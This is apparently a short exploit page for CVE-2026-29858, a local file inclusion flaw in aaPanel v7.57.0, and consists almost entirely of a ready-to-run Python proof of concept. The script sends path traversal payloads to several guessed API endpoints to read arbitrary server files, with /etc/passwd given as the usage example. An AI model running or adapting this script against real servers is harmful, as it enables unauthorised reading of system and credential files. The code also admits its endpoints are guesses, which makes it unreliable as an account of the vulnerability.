CVE-2026-29858 aaPanel v7.57.0 本地文件包含漏洞导致敏感信息泄露

import requests import sys def exploit_lfi(target_url, file_path): """ CVE-2026-29858 PoC - aaPanel v7.57.0 Local File Inclusion This PoC demonstrates how an unauthenticated attacker can read sensitive files via path traversal vulnerability in aaPanel. """ # Target endpoint - adjust based on actual vulnerable endpoint endpoints = [ '/api/panel/get_file_content', '/api/panel/file/read', '/files/get' ] # Path traversal payload to read target file payload = '../../../..' + file_path print(f'[*] Target: {target_url}') print(f'[*] Attempting to read: {file_path}') for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint params = {'path': payload} response = requests.get(url, params=params, timeout=10, verify=False) if response.status_code == 200 and len(response.text) > 0: print(f'[+] Success via {endpoint}') print('=' * 60) print(response.text[:1000]) print('=' * 60) return True except Exception as e: print(f'[-] Error with {endpoint}: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <file_to_read>') print(f'Example: python {sys.argv[0]} http://target.com:7800 /etc/passwd') sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_lfi(target, file_path)